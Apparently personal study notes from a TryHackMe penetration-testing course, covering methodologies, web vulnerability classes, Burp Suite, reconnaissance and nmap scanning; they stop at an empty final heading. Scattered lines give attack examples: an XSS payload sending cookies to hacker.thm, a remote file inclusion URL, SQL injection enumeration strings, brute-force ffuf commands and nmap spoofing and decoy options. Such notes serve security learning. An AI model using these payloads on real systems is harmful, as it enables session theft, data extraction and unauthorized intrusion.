Junior penetration tester THM

1. Introduction

a. Rules of Engagement - document that is created at the initial stages of a penetration testing engagement. This document consists of three main sections - permission, test scope, rules
b. Methodologies:
    i. OSTTM (The Open Source Security Testing Methodology Manual) - testing strategies for systems, software, applications, communications and the human aspect of cybersecurity; mainly telecommunication, networks
    ii. OWASP (Open Web Application Security Project) - framework used to test the security of web applications and services
    iii. NIST Cybersecurity Framework - improve an organizations cybersecurity standards and manage the risk of cyber threats; guidelines on security controls & benchmarks for organizations
    iv. NCSC CAF (Cyber Assessment Framework) - fourteen principles used to assess the risk of cyber threats and an organization's defenses; for critical infrastructure
c. CIA triad - model to determine the value of data and the attention it need
    i. **Confidentiality** - protection of data from unauthorized access and misuse
    ii. **Integrity** - information needs to be kept accurate, unchanged and consistent unless authorized changes are made during storage, transmission etc.
    iii. **Availability** - information must be available and accessible by the user
d. Models:
    i. **The Bell-La Padula model** - used to achieve **confidentiality**; assumptions: organization's hierarchical structure and everyone's responsibilities are well-defined; **no write down, no read up**
    ii. **Biba Model** - used to achieve **integrity**; for example developer doesn't need access to databases, **no write up, no read down**
e. Threat modeling - process of reviewing, improving, and testing the security protocols
    i. **STRIDE** - Spoofing identity, Tampering with data, Repudiation threats, Information disclosure, Denial of Service and Elevation of privileges
    ii. PASTA - Process for Attack Simulation and Threat Analysis
    iii. CSIRT (Computer Security Incident Response Team) - preparation, identification, containment, eradication, recovery, lessons learned

2. Web hacking

a. Content Discovery

i. Manual:

1. robots.txt; sitemap.xml

2. Favicon - sometimes favicon that is part of the framework installation gets leftover
3. HTTP headers - sometimes contain useful information such as the web server software or language used

ii. OSINT:

1. **Google dorking** - site, inurl, filetype, intitle
2. Wappalyzer, wayback machine, github
3. S3 buckets - service provided by Amazon AWS; Sometimes these access permissions are incorrectly set;
    a. {name}-assets, {name}-www etc.
    b. http(s)://{name}.s3.amazonaws.com
4. Automated search:
    a. ***gobuster*** *dir --url http://MACHINE_IP/ -w /path/to/wordlist.txt*
    b. *dirb http://MACHINE_IP/ /path/to/wordlist.txt*
5. SSL/TSL certificate
6. DNS bruteforce
    a. *dnsrecon -t brt -d domain.com*
7. **Sublist3r** - OSINT subdomain discovery tool
    a. *./sublist3r.py -d domain.com*
8. Virtual hosts - some subdomains may be hidden in the *hosts* file, fuzz the HEAD in HTTP automatically
    a. *ffuf -w /path/to/dns/wordlist.txt -H "Host: FUZZ.domain.com" -u http://MACHINE_IP*
    b. add *-fs {size}* to filter the output, *{size}* is the most occurring size value

b. Authentication bypass

i. a

1. **Username enumeration** - fuzzing wordlist of usernames while checking website answer
    a. ffuf -w /path/to/wordlist.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/signup -mr "message when username is valid"
2. **Brute force** password with known usernames
    a. *ffuf -w usernames.txt:W1,/path/to/password/wordlist.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/login -fc 200*
3. Cookie tampering - manipulating stored cookies to be used in malicious ways (i.e. hijacking a user's session)
4. **IDOR** - Insecure Direct Object Reference; a type of access control vulnerability; happens when too much trust has been

placed on the input, and it is not validated on the server-side to confirm the object belongs to the requester

ii. File inclusion
    1. **Directory traversal** - a web vulnerability which allows an attacker to read operating system resources; the attacker exploits this vulnerability by manipulating the web application's URL to access files stored outside the application's root directory
    2. **Local File Inclusion** (LFI) - attack technique in which attackers trick a web application into running or exposing files on a web server
    3. **Remote File Inclusion** (RFI) is a technique to include remote files into a vulnerable application; attacker can get RCE
        a. example: *webapp.thm/index.php?lang=http://attacker.thm/cmd.txt*

c. SSRF

i. **SSRF** (Server-Side Request Forgery) - a vulnerability that allows an attacker to cause the webserver to make an additional or edited HTTP request to the resource of the attacker's choosing.
    1. example:
        a. Expected: website.com/stock?url=api.website.com/api/stock/item?id=12
        b. Malicious: website.com/stock?url=attacker.com
    2. Attacker can use also directory traversal in path
    3. Blind SSRF - no output is reflected back to you
    4. bypassing:
        a. **deny list**: alternative localhost references such as 0, 0.0.0.0; subdomains with DNS record which resolves to the IP Address 127.0.0.1
        b. **allow list**: creating a subdomain on an attacker's domain name
        c. use of open redirect (endpoint on the server where the website visitor gets automatically redirected to another website address)

d. XSS

i. **Cross-site scripting** - injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users

ii. Examples:
    1. Proof of concept: <script>alert('XSS');</script>
    2. Session stealing: <script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

iii. **Reflected** XSS - user-supplied data in an HTTP request is included in the webpage source without any validation (mostly in URL query string or path)

iv. **Stored** XSS - payload is stored on the web application (i.e. in a database) and then gets run when other users visit the site
v. **DOM based** XSS - JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code
vi. **Blind** XSS - payload gets stored on the website, but you can't see the payload working (similar to stored XSS)

e. Command injection

i. **Command injection** - abuse of an application's behavior to execute commands on the operating system, using the same privileges that the application on a device is running with (also **RCE**)
ii. Types:
    1. Blind - there is no direct output from the application when testing payloads
        a. Need of payloads which cause time delay or force output
    2. Verbose - there is direct feedback from the application once you have tested a payload

f. SQL Injection

i. **SQL Injection** - attack on a web application database server that causes malicious queries to be executed
ii. Types:
    1. **In-band SQLI** - the attacker receives the result as a direct response using the same communication channel
        a. Error-based - information about the database structure as error messages from the database are printed directly to the browser screen
            i. *1'* (results in syntax error displayed on screen)
        b. Union-based - utilizes the SQL UNION operator alongside a SELECT statement to return additional results to the page; the most common way of extracting large amounts of data
            i. 1' UNION SELECT version(),current_user()--'
    2. **Blind SQLI** - little to no feedback to confirm whether injected queries were successful or not, because the error messages have been disabled; needs a bit of feedback to successful enumerate a whole database
        a. Boolean based - the response received from injection attempts has boolean value; enumerating database:
            i. user’ UNION SELECT 1;--
            ii. user’ UNION SELECT 1,2,3;--
            iii. user’ UNION SELECT 1,2,3 where database() like '%';--
            iv. user’ UNION SELECT 1,2,3 where database() like 's%';--
            v. user’ UNION SELECT 1,2,3 FROM information_schema.tables WHERE

table_schema = 'sqli' and table_name like 'a%';--

vi. …

b. Time-based - indicator of a correct query is based on the time the query takes to complete; introduced by using built-in methods such as SLEEP(x) alongside the UNION statement

i. user' UNION SELECT SLEEP(5),2 where database() like 'u%';--

3. **Out-of-band** SQLI - two different communication channels, one to launch the attack and the other to gather the results; for example the attack channel is a web request, and the data gathering channel is monitoring HTTP requests made to a service you control

iii. Remediation:

1. Prepared statements (with parameterized queries) - any user inputs are added as a parameter afterwards
2. Input validation - protecting what gets put into an SQL query; for example an allow list or a string replacement method
3. Escaping user input - method of prepending a backslash to special characters, which causes them to be parsed just as a regular string

3. Burp Suite

a. Burp Suite - framework written in Java that aims to provide a one-stop-shop for web application penetration testing; can capture and manipulate all of the traffic between an attacker and a webserver send them to various other parts of the Burp Suite framework

b. Proxy

i. capture and modify requests and responses between ourselves and our target

ii. needs to setup local browser proxy/FoxyProxy to work or use embedded browser

iii. install cert from http://burp/cert

c. Repeater

i. allows to craft and relay intercepted requests to a target at will; we can take a request captured in the Proxy, edit it, and send the same request repeatedly as many times as we wish

ii. can be used to automatically enumerate database through SQLi

d. Intruder

i. in-built fuzzing tool; allows to take a request and use it as a template to send many more requests with altered values automatically. for example bruteforce or fuzzing directories; functionality is similar to tools such as Wfuzz or Ffuf

ii. Sub-tabs

1. Positions - select an Attack Type, configure where in the request template we wish to insert our payloads
2. Payloads - select values to insert into each of the positions we defined in the previous sub-tab; alter behavior with regards to payloads (define pre-processing rules)
3. Resource pool - divide our resources between tasks
4. Options - how Burp handles results and how Burp handles the attack itself

iii. Attack types

1. **Sniper** - one set of payloads; i.e single file containing a wordlist; Intruder will take each position and substitute each payload into it in turn
2. **Battering roam** - one set of payloads; puts the same payload in every position rather than in each position in turn at once
3. **Pitchfork** - uses one payload set per position and iterates through them all at once (like multiple snipers)
4. **Clusterbomb** - choose multiple payload sets: one per position; iterates through each payload set individually, making sure that every possible combination of payloads is tested

iv. Decoder

1. allows us to manipulate data; can encode, decode and create hashsums of data
2. provides a Smart Decode feature which attempts to decode provided data recursively until it is back to being plaintext

v. Sequencer

1. allows to measure the entropy of tokens; for example, analyze the randomness of a session cookie or a CSRF token

4. Network security

a. Passive reconnaissance

i. knowledge that you can access from publicly available resources without directly engaging with the target

1. **whois** - request and response protocol that follows the RFC 3912 specification; WHOIS server listens on TCP port 43; the domain registrar is responsible for maintaining the WHOIS records for the domain names it is leasing
    a. information of particular interest: registrar (and his contact info), creation, update, and expiration dates, name server
2. **nslookup** - Name Server Look Up
    a. nslookup OPTIONS DOMAIN_NAME SERVER
        i. A - ipv4 addresses
        ii. AAAA - ipv6 addresses
        iii. MX - mail servers
        iv. TXT - txt records
3. **dig** - Domain Information Groper

    a. dig DOMAIN_NAME TYPE
4. **DNSDumpster** - service that offers detailed answers to DNS queries; returns the collected DNS information in easy-to-read tables and a graph
5. **Shodan.io** - tries to connect to every device reachable online to build a search engine of connected “things”; collects all the information related to the service and saves it in the database to make it searchable
    a. information of particular interest: IP address, hosting company, geographic location, server type and version

b. Active reconnaissance

i. information gathered contact with target

ii. web browser

1. Developer tools
2. FoxyProxy - quickly change the proxy server you are using to access the target website
3. User-Agent Switcher and Manager - gives the ability to pretend to be accessing the webpage from a different operating system or web browser
4. Wappalyzer - provides insights about the technologies used on the visited websites

iii. **ping** - falls under protocol ICMP echo/type 8, echo reply/type 0

1. *-s* - set the size of the data
2. 8 bytes is the size of ICMP header
3. MS Windows Firewall blocks ping by default

iv. **traceroute** - traces the route taken by the packets from your system to another host; indicates the number of hops between your system and the target host

1. windows decrements TTL, linux increments
2. some routers return a public IP address

v. **telnet** - protocol developed in 1969 to communicate with a remote system via CLI; sends all the data in cleartext

1. telnet MACHINE_IP PORT
2. you can use Telnet to connect to any service and grab its banner and exchange messages unless it uses encryption

vi. **netcat** - supports both TCP and UDP protocols; can function as a client that connects to a listening port and act as a server

1. nc MACHINE_IP PORT
2. nc -lvnp PORT (simple server listening on PORT)

c. Nmap

i. industry-standard tool for mapping networks, identifying live hosts, and discovering running services; can further extend its functionality, from fingerprinting services to exploiting vulnerabilities

ii. Enumarating targets

1. nmap -iL list_of_hosts.txt (targets as a list)
2. nmap -sL TARGETS (check what nmap will scan)

3. **Host discovery using ARP** (default local privileged scan)
    a. the same subnet as the target systems
    b. nmap -sn TARGETS
    c. -sn to avoid port scanning
    d. arp-scan - scanner built around ARP queries
4. **Host Discovery Using ICMP**
    a. sending ICMP echo requests to all the IP addresses in the target subnet
    b. ICMP echo requests tend to be blocked,
    c. nmap **-PE** -sn TARGET (ICMP **Echo** Type 8/Echo and 0)
    d. nmap **-PP** -sn MACHINE_IP/24 (ICMP **Timestamp** Type 13 and 14)
    e. nmap **-PM** -sn MACHINE_IP/24 (ICMP **Address mask** Type 17 and 18)
5. **Host Discovery Using TCP and UDP**
    a. TCP Syn Ping
        i. sending a packet with the SYN flag set to a TCP port, an open port replies with a SYN/ACK; a closed port results in an RST
        ii. nmap **-PS** -sn MACHINE_IP/24
    b. TCP ACK Ping (privileged)
        i. sends a packet with an ACK flag set, the target responds with the RST flag set (the TCP packet with the ACK flag is not part of any ongoing connection)
        ii. sudo nmap **-PA** -sn MACHINE_IP/24
    c. UDP Ping
        i. sending a UDP packet to an open port is not expected to lead to any reply
        ii. if we send a UDP packet to a closed UDP port we expect to get an ICMP port unreachable packet; this indicates that the target system is up and available
        iii. sudo nmap **-PU** -sn MACHINE_IP/24

iii. Port scans

1. Port states
    a. **Open**: service is listening on the specified port.
    b. **Closed**: no service is listening on the specified port; the port is accessible
    c. **Filtered**: cannot determine if the port is open or closed because the port is not accessible (firewall)
    d. **Unfiltered**: cannot determine if the port is open or closed, although the port is accessible (ACK scan)
    e. **Open|Filtered**: cannot determine whether the port is open or filtered.

f. **Closed|Filtered**: cannot decide whether a port is closed or filtered.

2. **TCP connect scan** (only one unprivileged)
    a. Completing three-way handshake, then sending RST/ACK
    b. nmap -sT MACHINE_IP
3. **TCP SYN scan** (default priviliged)
    a. Not completing three-way handshake; send RST after getting SYN/ACK
    b. Decreases the chances of the scan being logged
    c. nmap -sS MACHINE_IP
4. **UDP scan**
    a. if a UDP packet is sent to a closed port, an ICMP port unreachable error (type 3, code 3) is returned
    b. sudo nmap -sU MACHINE_IP

iv. Advanced port scans

1. **Null scan**
    a. does not set any flag
    b. no reply - the port is open or a firewall is blocking the packet (open|filtered)
    c. RST/ACK reply - the port is closed
    d. nmap -sN MACHINE_IP
2. **FIN scan**
    a. sends a TCP packet with the FIN flag set
    b. no reply - the port is open or a firewall is blocking the packet (open|filtered)
    c. RST/ACK reply - the port is closed
    d. nmap -sF MACHINE_IP
3. **Xmas scan**
    a. sets the FIN, PSH, and URG flags simultaneously
    b. no reply - the port is open or a firewall is blocking the packet (open|filtered)
    c. RST/ACK reply - the port is closed
    d. nmap -sX MACHINE_IP
4. **TCP ACK scan**
    a. sends a TCP packet with the ACK flag set
    b. responds with RST regardless of the state of the port
    c. ports which responded were not blocked by the firewall (unfiltered); suitable to discover firewall rule sets and configuration
    d. nmap -sA MACHINE_IP
5. **Window scan**
    a. almost the same as the ACK scan
    b. examines the TCP Window field of the RST packets returned; on specific systems, this can reveal that the port is open
    c. nmap -sW MACHINE_IP
6. **Custom scan**

a. own TCP flag combination
b. need to know how the different ports will behave
c. nmap --scanflags CUSTOM_FLAGS MACHINE_IP

v. Other techniques

1. Spoofing
    a. The attacker needs to monitor the network for responses
    b. nmap -e NET_INTERFACE -Pn -S SPOOFED_IP MACHINE_IP
    c. possible if the attacker and the target machine are on the same Ethernet (802.3) network or same WiFi (802.11)
    d. --spoof-mac SPOOFED_MAC
2. Decoys
    a. make the scan appears to be coming from many IP addresses so that the attacker's IP address would be lost among them
    b. nmap -D 10.10.0.1,10.10.0.2,RND,RND,ME MACHINE_IP
3. Fragmented packets
    a. divide data section of TCP packet into 8 bytes
    b. -f flag
    c. data sized can be increased to look innocent by --data-length NUM
4. Idle/Zombie scan
    a. requires an idle system connected to the network that you can communicate with.
    b. nmap makes scan appear as if coming from the idle host, then it will check the IP identification (IP ID) value in the IP header whether the idle host received any response to the spoofed probe
    c. the difference is 1 - the port was closed or filtered.
    d. the difference is 2 - the port was open.
    e. nmap -sI ZOMBIE_IP MACHINE_IP

d. Protocols and servers

i. FTP (port 21) - File Transfer Protocol

1. Active - the data is sent over a separate channel originating from the FTP server's port 20.
2. Passive - the data is sent over a separate channel originating from an FTP client's port above port number 1023.
3. Commands
    a. USER <username>
    b. PASS <password>
    c. PASV - passive mode
    d. STAT - additional info
    e. TYPE A - transfer mode ASCII; TYPE I - transfer mode binary

ii. SMTP (port 25) - Simple Mail Transfer Protocol
    1. Mail delivery
        a. A Mail User Agent (MUA) connects to a Mail Submission Agent (MSA) to send its message.
        b. The MSA receives the message, checks for any errors before transferring it to the Mail Transfer Agent (MTA) server, commonly hosted on the same server.
        c. The MTA will send the email message to the MTA of the recipient. The MTA can also function as a Mail Submission Agent (MSA).
        d. A typical setup would have the MTA server also functioning as a Mail Delivery Agent (MDA).
        e. The recipient will collect its email from the MDA using their email client.
    2. used to communicate with an MTA server; works in cleartext
iii. POP3 (port 110) - Post Office Protocol version 3
    1. used to download the email messages from a MDA server; works in cleartext
iv. IMAP (port 143) - Internet Message Access Protocol
    1. more sophisticated than POP3; makes it possible to keep email synchronized across multiple devices
v. SSL/TLS
    1. TLS is more secure than SSL, and it has practically replaced SSL
    2. An existing cleartext protocol can be upgraded to use encryption via SSL/TLS
    3. To establish an SSL/TLS connection, the client needs to perform the proper handshake with the server

5. Vulnerability research

a.